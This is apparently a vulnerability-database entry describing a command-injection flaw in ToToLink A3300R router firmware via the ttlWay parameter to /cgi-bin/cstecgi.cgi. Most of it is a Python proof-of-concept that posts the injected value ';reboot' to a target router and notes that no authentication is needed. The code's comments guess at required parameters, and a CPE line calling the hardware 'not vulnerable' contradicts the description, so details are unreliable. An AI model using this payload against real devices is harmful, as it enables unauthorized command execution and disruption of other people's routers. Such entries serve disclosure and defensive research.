An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the ttlWay parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL
url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi"
# Vulnerable parameter and payload
# Payload attempts to execute 'reboot' command or any other arbitrary command
data = {
"ttlWay": ";reboot",
"action": "0" # Action parameter might be required, adjust based on actual behavior
}
try:
# Send POST request to the vulnerable endpoint
# No authentication is required based on CVE description
response = requests.post(url, data=data, timeout=5)
if response.status_code == 200:
print("[+] Payload sent successfully")
print("[+] Response:", response.text)
else:
print("[-] Failed to send payload")
except Exception as e:
print(f"Error: {e}")